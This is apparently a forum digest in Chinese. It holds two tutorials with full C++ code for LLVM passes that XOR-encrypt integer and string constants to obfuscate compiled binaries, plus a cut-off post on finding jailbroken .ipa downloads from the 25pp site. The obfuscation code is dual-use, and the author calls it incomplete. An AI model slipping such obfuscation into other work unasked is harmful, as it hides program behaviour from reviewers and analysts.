static int flag=0; int main(int argc, char const *argv[]) { while(flag<13){ printf("Flag is %i not 13.Sleeping for another 5 seconds\n",flag); sleep(5); flag++; } printf("You've waited for %i seconds. Quite an effort!\n",flag); return 0; }
逻辑非常简单,从0开始循环判断flag值是不是13,如果是就打印信息并退出,否则睡眠5秒钟后继续循环。
使用
clang -S -emit-llvm
可获得如下的LLVM IR:; ModuleID = 'LLVMConstantEncryptionTest.m' source_filename = "LLVMConstantEncryptionTest.m" target datalayout = "e-m:o-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-apple-macosx10.13.0" @flag = internal global i32 0, align 4 @.str = private unnamed_addr constant [50 x i8] c"Flag is %i not 13.Sleeping for another 5 seconds\0A\00", align 1 @.str.1 = private unnamed_addr constant [48 x i8] c"You've waited for %i seconds. Quite an effort!\0A\00", align 1 ; Function Attrs: noinline optnone ssp uwtable define i32 @main(i32, i8**) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i8**, align 8 store i32 0, i32* %3, align 4 store i32 %0, i32* %4, align 4 store i8** %1, i8*** %5, align 8 br label %6 ; <label>:6: ; preds = %9, %2 %7 = load i32, i32* @flag, align 4 %8 = icmp slt i32 %7, 13 br i1 %8, label %9, label %15 ; <label>:9: ; preds = %6 %10 = load i32, i32* @flag, align 4 %11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i32 0, i32 0), i32 %10) %12 = call i32 @"\01_sleep"(i32 5) %13 = load i32, i32* @flag, align 4 %14 = add nsw i32 %13, 1 store i32 %14, i32* @flag, align 4 br label %6 ; <label>:15: ; preds = %6 %16 = load i32, i32* @flag, align 4 %17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.1, i32 0, i32 0), i32 %16) ret i32 0 } declare i32 @printf(i8*, ...) #1 declare i32 @"\01_sleep"(i32) #1 attributes #0 = { noinline optnone ssp uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0, !1, !2, !3, !4, !5, !6} !llvm.ident = !{!7} !0 = !{i32 1, !"Objective-C Version", i32 2} !1 = !{i32 1, !"Objective-C Image Info Version", i32 0} !2 = !{i32 1, !"Objective-C Image Info Section", !"__DATA,__objc_imageinfo,regular,no_dead_strip"} !3 = !{i32 4, !"Objective-C Garbage Collection", i32 0} !4 = !{i32 1, !"Objective-C Class Properties", i32 64} !5 = !{i32 1, !"wchar_size", i32 4} !6 = !{i32 7, !"PIC Level", i32 2} !7 = !{!"clang version 6.0.0 (trunk 318965) (llvm/trunk 318964)"}
可以看到IR中包含数个LoadInst和StoreInst用于加载和保存新的flag值,我们的设计思路是在加载后XOR解密出正确的数值,在写入前XOR来写入加密的数值
首先我们创建一个基础的Pass骨架:
/* LLVM ConstantEncryption Pass Copyright (C) 2017 Zhang(http://mayuyu.io) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "llvm/IR/Constants.h" #include "llvm/IR/IRBuilder.h" #include "llvm/IR/InstIterator.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/Module.h" #include "llvm/IR/Value.h" #include "llvm/Pass.h" #include "llvm/Transforms/Obfuscation/Obfuscation.h"// 这是Hikari用的一些全局头文件,自己按照格式创建就好 #include <cstdlib> #include <fstream> #include <iostream> #include <string> using namespace llvm; using namespace std; namespace llvm { struct ConstantEncryption : public ModulePass { static char ID; bool flag; ConstantEncryption(bool flag): ModulePass(ID) { this->flag=flag; } ConstantEncryption(): ModulePass(ID) { this->flag=true; } bool runOnModule(Module& M)override { return true; } }; ModulePass * createConstantEncryptionPass() { return new ConstantEncryption(); } ModulePass * createConstantEncryptionPass(bool flag) { return new ConstantEncryption(flag); } }//namespace llvm char ConstantEncryption::ID = 0; INITIALIZE_PASS(ConstantEncryption, "constenc", "Enable ConstantInt GV Encryption.", true, true)
注意Pass里的Flag都是用于和我的开源混淆器Hikari对接所设计的接口,您如果自己玩耍并不需要这些。
然后第一步在
runOnModule
中遍历全局变量列表:for(auto GV=M.global_begin();GV!=M.global_end();GV++){ GlobalVariable *GVPtr=&*GV; }
在这个基本的循环中我们找到了所有的全局变量,对应上述IR中的:
@flag = internal global i32 0, align 4 @.str = private unnamed_addr constant [50 x i8] c"Flag is %i not 13.Sleeping for another 5 seconds\0A\00", align 1 @.str.1 = private unnamed_addr constant [48 x i8] c"You've waited for %i seconds. Quite an effort!\0A\00", align 1
接下来我们需要过滤哪些变量可以加密,哪些不能,由于我们是在编译单个源文件的过程中进行加密,所以我们必须过滤掉可以被其他源文件引用的变量,或者是声明在其他源文件中的变量。 前者通过判断全局变量是否有对应的初始化器(Initializer)来实现,后者通过判断全局变量的链接属性(LinkageType)来实现。
阅读上面的文档:private
Global values with “private” linkage are only directly accessible by objects in the current module. In particular, linking code into a module with a private global value may cause the private to be renamed as necessary to avoid collisions. Because the symbol is private to the module, all references can be updated. This doesn’t show up in any symbol table in the object file.这里告诉我们Private(私有)的LinkageType只能被当前源文件引用,这正符合我们上面所分析出的要求。
下面的:internal
Similar to private, but the value shows as a local symbol (STB_LOCAL in the case of ELF) in the object file. This corresponds to the notion of the ‘static’ keyword in C.告诉我们internal(内部)和私有非常相似,对应C语言中的static关键字,同样符合我们的要求。所以我们可以通过以下这行代码来过滤出我们需要的全局变量:
if(GVPtr->hasInitializer()&&(GVPtr->hasPrivateLinkage()||GVPtr->hasInternalLinkage())){ }
最后,我们需要确定全局变量的类型是一个整数,我们上文提到了初始化器(Initializer)的概念,阅读GlobalVariable的文档 可知我们可以通过
GlobalVariable::getInitializer()
来获取对应的初始化器,通过阅读LLVM Programmers’ Manual 可以了解到LLVM提供三个模版方法来实现运行时类型识别转换,类似C++的RTTI和reinterpret_cast
,但性能更快并且强制类型安全。
增加如下代码来判断初始化器的类型:if(ConstantInt *CI=dyn_cast<ConstantInt>(GVPtr->getInitializer())){ }
常用的为三个模版方法:
isa<类>(变量指针)
返回布尔类型,用于做运行时类型审查cast<类>(变量指针)
带有类型检查的类型转换,如果类型正确则返回新类型指针,否则会触发一个assertdyn_cast<类>(变量指针)
类似cast, 区别在于类型错误时返回null而不是assert接下来准备Key, LLVM要求类型安全并且并不会像编译器前端一样隐式添加零延伸,因此我们需要根据原来的整数宽度来准备XOR密钥:
IntegerType* IT=cast<IntegerType>(CI->getType()); uint8_t K=cryptoutils->get_uint8_t(); ConstantInt *XORKey=ConstantInt::get(IT,K);
注意这里的
cryptoutils->get_uint8_t();
是Obfuscator-LLVM提供的密码学安全的随机数生成器,您也可以使用其他方式来生成随机的XOR Key。
接下来有了XOR Key,我们先加密原来的全局变量。可以通过ConstantInt::getZExtValue()
来获取原来的常量数值ZExt到uint64_t后的数值:ConstantInt *newGVInit=ConstantInt::get(IT,CI->getZExtValue()^K); // 计算加密后的值并创建新的初始化器 GVPtr->setInitializer(newGVInit); // 将初始化器的值赋值给全局变量
接下来我们通过遍历这个全局变量的声明-使用链来找到所有引用了这个变量的指令并对LoadInst和StoreInst做正确的处理
- 声明-使用链 即Def-Use Chain,给定一个变量,找到所有引用处
- 使用-声明链 即Use-Def Chain,给定一个引用,找到所有可能的变量。
for(User *U : GVPtr->users()){ if(LoadInst *LI=dyn_cast<LoadInst>(U)){ Instruction* XORInst=BinaryOperator::CreateXor(XORKey,XORKey); XORInst->insertAfter(LI); LI->replaceAllUsesWith(XORInst); XORInst->setOperand(0,LI); }else if(StoreInst *SI=dyn_cast<StoreInst>(U)){ Instruction* XORInst=BinaryOperator::CreateXor(SI->getValueOperand(),XORKey); XORInst->insertBefore(SI); SI->replaceUsesOfWith(SI->getValueOperand(),XORInst); } }
在LoadInst的处理块中,我们先创建了一个没有任何卵用的XOR指令占位并插入到原来的Load指令之后,将后续对原始LoadInst的指令替换到我们的占位指令中。因为直接使用正确的左值LI来创建会导致后续的
replaceAllUsesWith
将我们的XOR指令的左值引用也替换成对自身的引用。最后将我们的占位XOR指令左值指向正确的LoadInst在对StoreInst的处理块中,我们同样创建了一个新的XOR指令,左值为原来的StoreInst所要保存的数值,右值为一开始我们创建的XOR Key,将这个指令插入到Store指令之前,并将原来的Store指令对未加密数值的引用替换成我们加密之后的结果。
然后就完工啦,完整代码如下。注意有一些小细节我们的示例用代码没有处理,处理这些情况就留做给读者的练习了:
/* LLVM ConstantEncryption Pass Copyright (C) 2017 Zhang(http://mayuyu.io) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "llvm/IR/Constants.h" #include "llvm/IR/IRBuilder.h" #include "llvm/IR/InstIterator.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/Module.h" #include "llvm/IR/Value.h" #include "llvm/Pass.h" #include "llvm/Transforms/Obfuscation/Obfuscation.h"// 这是Hikari用的一些全局头文件,自己按照格式创建就好 #include <cstdlib> #include <fstream> #include <iostream> #include <string> using namespace llvm; using namespace std; namespace llvm { struct ConstantEncryption : public ModulePass { static char ID; bool flag; ConstantEncryption(bool flag): ModulePass(ID) { this->flag=flag; } ConstantEncryption(): ModulePass(ID) { this->flag=true; } bool runOnModule(Module& M)override { for(auto GV=M.global_begin();GV!=M.global_end();GV++){ GlobalVariable *GVPtr=&*GV; //Filter out GVs that could potentially be referenced outside of current TU if(GVPtr->hasInitializer()&&(GVPtr->hasPrivateLinkage()||GVPtr->hasInternalLinkage())){ if(ConstantInt *CI=dyn_cast<ConstantInt>(GVPtr->getInitializer())){ //Prepare Types and Keys IntegerType* IT=cast<IntegerType>(CI->getType()); uint8_t K=cryptoutils->get_uint8_t(); ConstantInt *XORKey=ConstantInt::get(IT,K); //Encrypt Original GV ConstantInt *newGVInit=ConstantInt::get(IT,CI->getZExtValue()^K); GVPtr->setInitializer(newGVInit); for(User *U : GVPtr->users()){ if(LoadInst *LI=dyn_cast<LoadInst>(U)){ // This is dummy Instruction so we can use replaceAllUsesWith // without having to hand-craft our own implementation // We will relace LHS later Instruction* XORInst=BinaryOperator::CreateXor(XORKey,XORKey); XORInst->insertAfter(LI); LI->replaceAllUsesWith(XORInst); XORInst->setOperand(0,LI); }else if(StoreInst *SI=dyn_cast<StoreInst>(U)){ Instruction* XORInst=BinaryOperator::CreateXor(SI->getValueOperand(),XORKey); XORInst->insertBefore(SI); SI->replaceUsesOfWith(SI->getValueOperand(),XORInst); } } } } } return true; } }; ModulePass * createConstantEncryptionPass() { return new ConstantEncryption(); } ModulePass * createConstantEncryptionPass(bool flag) { return new ConstantEncryption(flag); } }//namespace llvm char ConstantEncryption::ID = 0; INITIALIZE_PASS(ConstantEncryption, "constenc", "Enable ConstantInt GV Encryption.", true, true)
使用我们刚刚写的Pass加固开头的程序后的F5
Posts: 2
Participants: 2
@Zhang wrote:
前置要求
- 对C++/C的入门知识
- 高中及以上的英语水平
- 一台电脑
- 对命令行的基础使用
- 对垃圾代码的忍耐能力
- 会用Google
- 会下载安装编译LLVM
这篇文章来源于我在实现自己的产品级混淆器中遇到的现有实现方案的各种问题,编写过程中可能会出现各种中英文混用导致无法Google到相关信息,另外我是个非常糟糕的老师,文章的各种问题还望海涵。
基础知识
- 每个源码文件(大致上)对应一个翻译单元(Translation Unit), LLVM体系中每个Module对应一个翻译单元
- Module是LLVM中间表示的最外层封装,所有的函数,变量,元数据等等全部封装在对应的Module中
- (几乎)所有跟LLVM中间表示有关的数据类型都继承自
llvm::Value
下文中所有的值指代的都是该类所有子类的统称- 字符串在LLVM中间表示里用一个常数数组实现。(但有对应的基于字符串的构造方法)
- 每个函数由一个或多个基本块组成,每个基本块有一个结束指令用于改变控制流。调用其他函数,跳转至其他基本块,返回void或其他值的指令都属于此列。参见 LLVM Language Reference Manual
实现设计
设计上我们搜索所有函数内对全局变量的调用,判断是否为常数数组,如是则在函数的起始位置插入解密函数,在函数的结尾插入加密函数。这点上优于现有的上海交通大学密码与计算机安全实验室的实现方案Armariris,对于该方案的详细分析可以参见我的博客
正文
首先我们导出一份任意包含字符串的源码的中间表示供参考。
我们使用的源码是如下我手动构造的示例文件:#import <Foundation/Foundation.h> #import <dlfcn.h> #import <objc/runtime.h> static char* foo1="GlobalVariable"; int main(){ printf("你好世界"); NSLog(@"你好"); return 0; }
在我的macOS上使用Apple的clang:
clang -S -emit-llvm SOURCE.mm
产生了如下的LLVM中间表示:
; ModuleID = 'hw.m' source_filename = "hw.m" target datalayout = "e-m:o-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-apple-macosx10.13.0" %struct.__NSConstantString_tag = type { i32*, i32, i8*, i64 } @.str = private unnamed_addr constant [13 x i8] c"\E4\BD\A0\E5\A5\BD\E4\B8\96\E7\95\8C\00", align 1 @__CFConstantStringClassReference = external global [0 x i32] @.str.1 = private unnamed_addr constant [3 x i16] [i16 20320, i16 22909, i16 0], section "__TEXT,__ustring", align 2 @_unnamed_cfstring_ = private global %struct.__NSConstantString_tag { i32* getelementptr inbounds ([0 x i32], [0 x i32]* @__CFConstantStringClassReference, i32 0, i32 0), i32 2000, i8* bitcast ([3 x i16]* @.str.1 to i8*), i64 2 }, section "__DATA,__cfstring", align 8 ; Function Attrs: noinline optnone ssp uwtable define i32 @main() #0 { %1 = alloca i32, align 4 store i32 0, i32* %1, align 4 %2 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i32 0, i32 0)) notail call void (i8*, ...) @NSLog(i8* bitcast (%struct.__NSConstantString_tag* @_unnamed_cfstring_ to i8*)) ret i32 0 } declare i32 @printf(i8*, ...) #1 declare void @NSLog(i8*, ...) #1 attributes #0 = { noinline optnone ssp uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0, !1, !2, !3, !4, !5, !6} !llvm.ident = !{!7} !0 = !{i32 1, !"Objective-C Version", i32 2} !1 = !{i32 1, !"Objective-C Image Info Version", i32 0} !2 = !{i32 1, !"Objective-C Image Info Section", !"__DATA,__objc_imageinfo,regular,no_dead_strip"} !3 = !{i32 4, !"Objective-C Garbage Collection", i32 0} !4 = !{i32 1, !"Objective-C Class Properties", i32 64} !5 = !{i32 1, !"wchar_size", i32 4} !6 = !{i32 7, !"PIC Level", i32 2} !7 = !{!"clang version 6.0.0 (trunk 318965) (llvm/trunk 318964)"}
基础知识: LLVM的函数分为declare和definition两种。如上所示,declare指的是实现在当前翻译单元外的函数,definition反之。
有了这些知识,接下来我们先搭建我们的Pass的大致结构.注意KeyMap是我们用于存储变量和对应Key的映射表:
/* * LLVM StringEncryption Pass * https://mayuyu.io * GPL V3 Licensed */ #include "llvm/IR/Constants.h" #include "llvm/IR/IRBuilder.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/LegacyPassManager.h" #include "llvm/IR/Module.h" #include "llvm/IR/Value.h" #include "llvm/Pass.h" #include "llvm/Support/CommandLine.h" #include "llvm/Support/TargetSelect.h" #include "llvm/Support/raw_ostream.h" #include <cstdlib> #include <iostream> #include <map> #include <set> #include <string> /* Unlike Armariris which inject decrytion code at llvm.global_ctors. We try to find the containing Function of Users referencing our string GV. Then we search for terminators. We insert decryption code at begining or the function and encrypt it back at terminators For Users where we cant find a Function, we then inject decryption codes at ctors */ /* Status: Currently we only handle strings passed in directly. GV strings are not properly handled */ using namespace llvm; using namespace std; namespace llvm { struct StringEncryption : public ModulePass { static char ID; map<GlobalVariable * /*Value*/, Constant * /*Key*/> keymap; // Map GV to keys for encryption StringEncryption() : ModulePass(ID) {} StringRef getPassName() const override { return StringRef("StringEncryption"); } bool runOnModule(Module &M) override { // in runOnModule. We simple iterate function list and dispatch functions // to handlers for (Module::iterator iter = M.begin(); iter != M.end(); iter++) { Function &F = *iter; HandleFunction(&F); } EncryptGVs(M); return true; } // End runOnModule }; Pass *createStringEncryptionPass() { return new StringEncryption(); } } // namespace llvm char StringEncryption::ID = 0; static RegisterPass<StringEncryption> X("strenc", "StringEncryption");
这里我们创建了一个ModulePass,顾名思义运行在每个Module之上。LLVM IR的Pass的入口点是对应的
runOnXXX
函数,这里即runOnModule
, 并使用Module的迭代器来遍历所有的函数,并将对应的函数分发给HandleFunction() 方法。 接下来我们开始实现handleFunction函数,这个函数的主要作用是分析函数的相关信息并作处理,也就是所有的重要工作的所在地 。首先我们使用Function::isDeclaration
来过滤掉所有的declare函数。
然后我们依次遍历函数->基本块->指令->指令的参数:set<GlobalVariable *> Globals; set<Instruction *> Terminators; for (BasicBlock &BB : *Func) { for (Instruction &I : BB) { if (ReturnInst *TI = dyn_cast<ReturnInst>(&I)) { Terminators.insert(TI); } for (Value *Op : I.operands()) { if (GlobalVariable *G = dyn_cast<GlobalVariable>(Op)) { Globals.insert(G); } } } }
但,这样的方式并不会收集到我们所用示例中的所有字符串,为什么呢?让我们倒回去看一下中间表示:
%2 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i32 0, i32 0)) notail call void (i8*, ...) @NSLog(i8* bitcast (%struct.__NSConstantString_tag* @_unnamed_cfstring_ to i8*))
这里对NSLog传递的参数为一个BitCast的常量表达式. LLVM使用的是非常严格的类型系统。比高级编程语言的类型检查更严格,例如,一个装有五个32位整数的数组和一个装有六个32位整数的数组在LLVM的类型体系中是不一样的,对他们的互相替换被视为非法操作。而BitCast指令/常量表达式就是LLVM的强制类型转换指令。在上面的例子中将类型为
struct.__NSConstantString_tag
指针的全局变量@_unnamed_cfstring_
转换成了i8类型的指针,符合NSLog的函数声明。而printf使用的GEP是LLVM中较为复杂难以理解的一条指令,简单的说GEP的作用是计算地址,详细的解释请参见上面的官方文档和The Often Misunderstood GEP Instruction
无论如何,在增加对应的处理之后我们的代码变成了:
for (BasicBlock &BB : *Func) { for (Instruction &I : BB) { if (ReturnInst *TI = dyn_cast<ReturnInst>(&I)) { Terminators.insert(TI); } for (Value *Op : I.operands()) { if (GlobalVariable *G = dyn_cast<GlobalVariable>(Op)) { Globals.insert(G); } else if (Constant *C = dyn_cast<Constant>(Op)) { Constant *stripped = C->stripPointerCasts(); if (GlobalVariable *GV = dyn_cast<GlobalVariable>(stripped)) { Globals.insert(GV); continue; } } } } }
接下来我们需要过滤掉不能加密的函数,比如说外部的全局变量,不是正确类型的全局变量,ObjC的元信息,LLVM的元信息等都属于此列。
直接上代码吧没啥好详解的:if (GV->hasInitializer() && GV->getSection() != StringRef("llvm.metadata") && GV->getSection().find(StringRef("__objc")) == string::npos && GV->getName().find("OBJC") == string::npos) { if (isa<ConstantDataSequential>(GV->getInitializer()) || isa<ConstantStruct>(GV->getInitializer())) { GV->setConstant(false); ConstantDataSequential *CDS =NULL; if(isa<ConstantDataSequential>(GV->getInitializer())){ CDS=dyn_cast<ConstantDataSequential>(GV->getInitializer()); } else if(isa<ConstantStruct>(GV->getInitializer()) && Func->getParent()->getTypeByName("struct.__NSConstantString_tag")!=NULL){ ConstantStruct* CS=dyn_cast<ConstantStruct>(GV->getInitializer()); if(CS->getType()!=Func->getParent()->getTypeByName("struct.__NSConstantString_tag")){ continue; } GV=cast<GlobalVariable>(CS->getOperand(2)->stripPointerCasts()); CDS=cast<ConstantDataSequential>(GV->getInitializer()); } else{ continue; } Type *memberType = CDS->getElementType(); // Ignore non-IntegerType if (!isa<IntegerType>(memberType)) { continue; } }
这里我们除了过滤之外,还负责了从
struct.__NSConstantString_tag
结构体中提取真实的字符串常量,判断数组所包含的数据类型是不是整数的操作。 接下来我们开始生成对应的解密Key.这里的代码比较屎,欢迎C++大神提点:if (keymap.find(GV) == keymap.end()) { // No Existing Key Found. // Perform injection if (intType == Type::getInt8Ty(GV->getParent()->getContext())) { vector<uint8_t> keys; for (unsigned i = 0; i < CDS->getNumElements(); i++) { keys.push_back(cryptoutils->get_uint8_t()); } Constant *KeyConst = ConstantDataVector::get( GV->getParent()->getContext(), ArrayRef<uint8_t>(keys)); keymap[GV] = KeyConst; } else if (intType == Type::getInt16Ty(GV->getParent()->getContext())) { vector<uint16_t> keys; for (unsigned i = 0; i < CDS->getNumElements(); i++) { keys.push_back(cryptoutils->get_uint16_t()); } Constant *KeyConst = ConstantDataVector::get( GV->getParent()->getContext(), ArrayRef<uint16_t>(keys)); keymap[GV] = KeyConst; } else if (intType == Type::getInt32Ty(GV->getParent()->getContext())) { vector<uint32_t> keys; for (unsigned i = 0; i < CDS->getNumElements(); i++) { keys.push_back(cryptoutils->get_uint32_t()); } Constant *KeyConst = ConstantDataVector::get( GV->getParent()->getContext(), ArrayRef<uint32_t>(keys)); keymap[GV] = KeyConst; } else if (intType == Type::getInt64Ty(GV->getParent()->getContext())) { vector<uint64_t> keys; for (unsigned i = 0; i < CDS->getNumElements(); i++) { keys.push_back(cryptoutils->get_uint64_t()); } Constant *KeyConst = ConstantDataVector::get( GV->getParent()->getContext(), ArrayRef<uint64_t>(keys)); keymap[GV] = KeyConst; } else { errs() << "Unsupported CDS Type\n"; abort(); } }
这样,和Armariris不同的是,我们为每一项都生成了一组对应的Key. 接下来我们在函数的第一个基本块(EntryBlock)寻找适合插入指令的没有Phi Node等杂项的位置。(实际上函数的EntryBlock不能也不会有PhiNode,具体意思我会在末尾补充)
使用IRBuilder<> IRB(Func->getEntryBlock().getFirstNonPHIOrDbgOrLifetime ());
创建IRBuilder, IRBuilder是LLVM提供的方便指令插入的助手模版类。
我们首先创造一个GEP来获得原始变量的指针,然后将其从原来的[数量 x 单个字符大小]
BitCast成我们需要的类型。最后加载,完成异或操作后写回原始变量。在Terminator处的处理同理.Value *zero = ConstantInt::get( Type::getInt32Ty(GV->getParent()->getContext()), 0);//因为我们从头开始加密。所以gep的索引都是0 Value *zeroes[] = {zero,zero}; Value *GEP = IRB.CreateInBoundsGEP(GV, zeroes); //BinaryOperations don't take CDAs,only CDVs //FIXME: Figure out if CDA and CDV has same mem layout Value* BCI=IRB.CreateBitCast(GEP,keymap[GV]->getType()->getPointerTo()); LoadInst *LI = IRB.CreateLoad(BCI);//ArrayType Value *XOR = IRB.CreateXor(LI, keymap[GV]); IRB.CreateStore(XOR, BCI); for (Instruction *I : Terminators) { IRBuilder<> IRB(I); Value *zero = ConstantInt::get( Type::getInt32Ty(GV->getParent()->getContext()), 0); Value *zeroes[] = {zero, zero}; Value *GEP = IRB.CreateInBoundsGEP(GV, zeroes); Value* BCI=IRB.CreateBitCast(GEP,keymap[GV]->getType()->getPointerTo()); LoadInst *LI = IRB.CreateLoad(BCI);//ArrayType Value *XOR = IRB.CreateXor(LI, keymap[GV]); IRB.CreateStore(XOR,BCI); }
最后,我们在完成后调用我们的EncryptGV,注意看过文档之后你可能会很想把这些操作放在
doFinalization
,但这是LLVM不允许的。 我们遍历之前创建的映射表。对于unicode类型的字符串编译器默认会放在__TEXT
这个不可写的段,导致我们的XOR触发操作系统保护异常,这需要我们进行修复:void EncryptGVs(Module &M){ // We've done Instruction Insertation // Perform GV Encrytion for (map<GlobalVariable *, Constant *>::iterator it = keymap.begin(); it != keymap.end(); ++it) { GlobalVariable *GV = it->first; assert(GV->hasInitializer() && "Encrypted GV doesn't have initializer"); ConstantDataSequential *Key = cast<ConstantDataSequential>(it->second); ConstantDataSequential *GVInitializer = cast<ConstantDataSequential>(GV->getInitializer()); assert(Key->getNumElements() == GVInitializer->getNumElements() && "Key and String size mismatch!"); assert(Key->getElementType() == GVInitializer->getElementType() && "Key and String type mismatch!"); Type *memberType = Key->getElementType(); IntegerType *intType = cast<IntegerType>(memberType); //Fixup GV sections otherwise we might fall into __TEXT and get a EXC_i386_GPFLT //or other platform's equivalent if(GV->getSection().find("__TEXT")!=string::npos){ GV->setSection("__DATA,__const"); } if (intType == Type::getInt8Ty(M.getContext())) { vector<uint8_t> Encrypted; for (unsigned i = 0; i < Key->getNumElements(); i++) { uint64_t K = Key->getElementAsInteger(i); uint64_t S = GVInitializer->getElementAsInteger(i); Encrypted.push_back(K^S); } Constant* newInit=ConstantDataArray::get(M.getContext(),ArrayRef<uint8_t>(Encrypted)); GV->setInitializer(newInit); } else if (intType == Type::getInt16Ty(M.getContext())) { vector<uint16_t> Encrypted; for (unsigned i = 0; i < Key->getNumElements(); i++) { uint64_t K = Key->getElementAsInteger(i); uint64_t S = GVInitializer->getElementAsInteger(i); Encrypted.push_back(K ^ S); } Constant* newInit=ConstantDataArray::get(M.getContext(),ArrayRef<uint16_t>(Encrypted)); GV->setInitializer(newInit); } else if (intType == Type::getInt32Ty(M.getContext())) { vector<uint32_t> Encrypted; for (unsigned i = 0; i < Key->getNumElements(); i++) { uint64_t K = Key->getElementAsInteger(i); uint64_t S = GVInitializer->getElementAsInteger(i); Encrypted.push_back(K ^ S); } Constant* newInit=ConstantDataArray::get(M.getContext(),ArrayRef<uint32_t>(Encrypted)); GV->setInitializer(newInit); } else if (intType == Type::getInt64Ty(M.getContext())) { vector<uint64_t> Encrypted; for (unsigned i = 0; i < Key->getNumElements(); i++) { uint64_t K = Key->getElementAsInteger(i); uint64_t S = GVInitializer->getElementAsInteger(i); Encrypted.push_back(K ^ S); } Constant* newInit=ConstantDataArray::get(M.getContext(),ArrayRef<uint64_t>(Encrypted)); GV->setInitializer(newInit); } else { errs() << "Unsupported CDS Type\n"<<*intType<<"\n"; abort(); } errs()<<"Rewritten GlobalVariable:"<<*GVInitializer<<" To:"<<*(GV->getInitializer())<<"\n"; } }
收尾
- PhiNode指的是一个代表的数值随着控制流的变化而变化的值。例如PhiNode允许当控制流从基本块A跳转时代表1,基本块b跳转时代表2.
在CodeGeneration时对PhiNode常见的处理方法是在原基本块末尾插入mov指令,或在寄存器分配阶段直接分配同一个寄存器。这部分属于LLVM Backend我了解的不多。- 我们这里的实现实际上非常简陋,例如当一个全局变量引用另一个文本全局变量时我们没有处理会导致编译失败。这部分需要单独处理并在
llvm.global_ctors
中解密,类似于Theos的 %ctor或者__attribute__((constructor))
- 这实际上同样不是最好的实现方式。 对于在堆上保存着使用的情况。这种实现返回时会导致字符串被加密回去。
Q&A
你之前开源的混淆器去哪了?
已经在做了,缺哥哥什么时候骗过你。争取三月初搬回开源仓库Demo
源文件腾磁盘空间的时候删了。上个当时的截图吧
Posts: 13
Participants: 5
@iblue wrote:
Mac上连接了越狱的手机,pp助手才会进行一键安装,不太方便。这里介绍一种,直接从pp助手官网下载越狱版本ipa的方法。
以小米运动为例,搜索框输入“小米运动”:
1、查看网网源码,找到搜索相关的代码:
<a href="https://www.25pp.com/ios/search_app_0/小米运动/" id="search-app" data-href="https://www.25pp.com/ios/search_app_0/" class="search-link act-link" data-stat-pos="appSearch" data-stat-exp="page=default;search_type=0;search_keyword=小米运动"> 包含“<span class="key-word">小米运动</span>”的应用</a>
2、过滤出搜索请求: https://www.25pp.com/ios/search_app_0/小米运动/
3、点击请求,跳转到搜索结果页面:
继续查看网页源码,找到小米运动详情相关的代码:
<a class="app-icon" href="https://www.25pp.com/ios/detail_1571646/" target="_blank" onclick="showAppDetail(this)" data-id="1571646" data-iid="938688461" title="苹果版小米运动下载" data-stat-act="det" data-stat-pos="list"> <img src="https://img.25pp.com/uploadfile/app/icon/20180328/1522248388516301.jpg@120w_120h" width="70" height="70" alt="苹果版小米运动下载" title="苹果版小米运动下载"></a>
